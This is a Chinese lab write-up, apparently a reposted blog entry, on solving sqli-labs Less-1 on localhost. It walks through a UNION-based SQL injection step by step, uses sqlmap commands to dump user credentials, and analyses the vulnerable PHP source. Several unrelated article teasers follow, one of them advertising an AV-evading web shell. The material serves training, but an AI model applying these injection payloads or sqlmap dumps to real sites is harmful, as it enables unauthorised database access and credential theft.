sql-labs靶场第一关测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①Order by判断列数

②判断回显地方

③爆库,查看数据库名称

④爆表,查看security库的所有表

⑤爆列,查看users表的所有列

⑥成功获取用户名和密码信息

3、Sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段值

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶    机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;下载地址:https://github.com/Mr-xn/hackbar2.1.3

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/

二、测试目的

①测试get型的sql注入,联合查询注入出数据库中的用户名和密码;

②使用sqlmap爆破,熟悉sqlmap的参数

三、操作过程

1、寻找注入点

根据提示,将id作为参数,值为数字

输入id之后,页面回显了对应的账户密码

给数字加个引号  ‘   ,回显报错,存在sql注入,注入点在url的id值

是字符型注入

2、注入数据库

①Order by判断列数

单引号后面拼接sql语句可以执行,因此闭合符号为单引号   '  

-- + 是注释符,sql语句中  --  后面加空格,会注释掉后面语句的所有内容

传入id值,先用order by 查看列数,可见数据库表共三列,查看第四列时会报错

?id=1' order by 3 --+

?id=1' order by 4 --+

②判断回显地方

使用联合查询注入,可以看到Login name是第二列,password是第三列

?id=-1' union select 1,2,3 --+

③爆库,查看数据库名称

?id=-1' union select 1,database(),3 --+

Database()函数返回当前数据库

④爆表,查看security库的所有表

?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

group_concat()函数可以将查询到的数据按格式排列;

查看inforamtion_schema数据库的tables字段来查看本数据库的所有表;

table_name是表名的字段名;

table_schema是数据库的字段名。

⑤爆列,查看users表的所有列

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema= database() and table_name='users'--+

依旧是inforamtion_schema数据库,使用columns字段查看对应数据表的所有列;

column_name是所有字段名的字段;

⑥成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

可以将所有的用户名和密码爆出

3、Sqlmap注入方法

①爆库

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs

使用python程序

-u  指定url

--dbs   是爆库的参数

②爆表

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 -D security --tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns     爆破列名的参数

④爆字段值

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id']; // id=1//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }}else { echo "Please input the ID as parameter with numeric value";}?>

error_reporting(0);函数,关闭了php代码的所有错误报告;

获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤;

Sql语句只取一行,后面被过了掉了,所以没生效;

页面输出内容,直接将取到的数据,username和password打印在页面上。

五、结论

传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

用sqlmap的话,需要把id参数带上,不然爆不出来。

这关使用联合查询,覆盖掉原来的sql语句。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1552846.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

IT新秀系列:Go语言的兴起

Go语言&#xff08;Golang&#xff09;由谷歌于2007年发起&#xff0c;并于2009年正式开源。它的诞生背景可以追溯到互联网技术的高速发展时期。那时&#xff0c;软件开发面临着多核计算、大规模并发处理、部署和维护效率低下等挑战。作为一种新型的编程语言&#xff0c;Go主要…

win11 升级报 0x80073713 错误

安装错误 - 0x80073713 通常是由于系统文件损坏或 Windows Update 组件异常引起的。‌ 这个问题可能阻止您的系统正常接收和安装更新&#xff0c;影响系统的稳定性和安全性。 可以尝试如下如下方法&#xff1a; 首先&#xff0c;您可以尝试使用命令提示符运行系统文件检查器…

四、Drf认证组件

四、Drf认证组件 4.1 快速使用 from django.shortcuts import render,HttpResponse from rest_framework.response import Response from rest_framework.views import APIView from rest_framework.authentication import BaseAuthentication from rest_framework.exception…

.NET 一款支持冰蝎的免杀WebShell

01阅读须知 此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等&#xff08;包括但不限于&#xff09;进行检测或维护参考&#xff0c;未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失&#xf…

在掌控板中加载人教版信息科技教学指南中的educore库

掌控板中加载educore库 人教信息科技数字资源平台&#xff08;https://ebook.mypep.cn/free&#xff09;中的《信息科技教学指南硬件编程代码说明》文件中提到“本程序说明主要供教学参考。需要可编程主控板须支持运行MicroPython 脚本程序。希望有更多的主控板在固件中支持ed…

uniapp 上了原生的 echarts 图表插件了 兼容性还行

插件地址&#xff1a;echarts - DCloud 插件市场 兼容性这块儿不知道后期会不会支持其他浏览器 H5 的话建议可以用原生的不用这个插件

Geoserver关于忘记密码的解决方法

第一次安装后&#xff0c;如果你设置密码那一栏一直都是默认的话&#xff0c;那么登录密码应该是账户 admin&#xff0c;密码 geoserver 但是&#xff0c;如果你自己设置了密码和账户&#xff0c;登录又登录不上&#xff0c;或者忘记了&#xff0c;有以下方法可以解决。 本质…

Ubuntu22.04之mpv播放器高频快捷键(二百七十)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

微软准备了 Windows 11 24H2 ISO “OOBE/BypassNRO“命令依然可用

Windows 11 24H2 可能在未来几周内开始推出。 微软已经要求 OEM 遵循新的指南准备好 Windows 11 24H2 就绪的驱动程序&#xff0c;并且现在已经开始准备媒体文件 (.ISO)。 OEM ISO 的链接已在微软服务器上发布。 一个标有"X23-81971_26100.1742.240906-0331.ge_release_sv…

【Python】探索自然语言处理的利器:THULAC 中文词法分析库详解

THULAC&#xff08;THU Lexical Analyzer for Chinese&#xff09;是清华大学开发的一款中文词法分析工具&#xff0c;集成了分词和词性标注两大功能。THULAC 拥有强大的分词能力和高效的词性标注&#xff0c;适用于多种中文文本处理场景。该工具能够在保证高准确率的同时保持较…

网络编程套接字TCP

前集回顾 上一篇博客中我们写了一个UDP的echo server&#xff0c;是一个回显服务器&#xff1a;请求是啥&#xff0c;响应就是啥 一个正常的服务器&#xff0c;要做三个事情&#xff1a; 读取请求并解析根据请求&#xff0c;计算响应把响应写回到客户端 DatagramPacket res…

基于大数据的大屏高速公路收费系统的开发设计与实现SpringBoot+vue

目录 1. 需求分析 2. 技术选型 3. 系统架构设计 4. 开发实现 5. 代码示例和效果演示 6. 持续优化 由于我国高速公路的建设和发展与国外先进国家有很大差距。在高速公路建成后&#xff0c;收费系统往往选用国外的成熟产品。虽然这些产品在功能上基本满足了高速公路收费的要…

【AI大模型】深入Transformer架构:编码器部分的实现与解析(上)

目录 &#x1f354; 编码器介绍 &#x1f354; 掩码张量 2.1 掩码张量介绍 2.2 掩码张量的作用 2.3 生成掩码张量的代码分析 2.4 掩码张量的可视化 2.5 掩码张量总结 &#x1f354; 注意力机制 3.1 注意力计算规则的代码分析 3.2 带有mask的输入参数&#xff1a; 3.…

电子竞技信息交流平台+ssm论文源码调试讲解

2系统关键技术 2.1 微信小程序 微信小程序&#xff0c;简称小程序&#xff0c;英文名Mini Program&#xff0c;是一种全新的连接用户与服务的方式&#xff0c;可以快速访问、快速传播&#xff0c;并具有良好的使用体验[1]。 小程序的主要开发语言是JavaScript&#xff0c;它与…

利用PDLP扩展线性规划求解能力

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

【Maven】依赖管理,Maven仓库,Maven核心功能

Maven 是一个项目管理工具&#xff0c;基于 POM&#xff08;Project Object Model&#xff0c;项目对象模型&#xff09;的概念&#xff0c;Maven 可以通过一小段描述信息来管理项目的构建&#xff0c;报告和文档的项目管理工具软件 大白话&#xff1a;Maven 是一个项目管理工…

IDEA 2024将Java项目(module)打成JAR包

说明&#xff1a;标题中所说的项目在IDEA中被称为Module(模块)&#xff0c;这里实际上是要将IDEA中的建立的Module打成JAR包。 目标&#xff1a;将module打包为JAR文件&#xff0c;随后在另一Module中导入并使用该JAR包。流程&#xff1a;新建chpt03与test两个Module&#xff0…

解决银河麒麟操作系统V10软件包架构不符问题

TOC &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在银河麒麟桌面操作系统V10中安装软件包时&#xff0c;如果遇到“软件架构与本机架构不符”的提示&#xff0c;可以尝试以下步骤来解决问题&#xff1a; 1. 确认架构一致性 查看本机架构…

小学一年级教材识字表,写字表,笔画名称表,偏旁名称表大全,方便大家学习打印!

前言 本次巧手打字通&#xff08;一起来打字&#xff09;小课堂文章主要为大家带来小学一年级语文识字表、写字表、笔画名称表以及偏旁名称表。这份资料不仅涵盖了一年级语文课程中必须掌握的核心字词&#xff0c;还列出教程里的笔画名称表&#xff0c;旨在帮助孩子们在识字的…

开源模型应用落地-模型微调-语料采集-数据核验(三)

一、前言 在自然语言处理(NLP)的快速发展中,语料采集作为基础性的步骤显得尤为重要。它不仅为机器学习模型提供了所需的训练数据,还直接影响模型的性能和泛化能力。随着数据驱动技术的不断进步,如何有效并高效地收集、清洗和整理丰富多样的语料,已成为研究者和工程师们亟…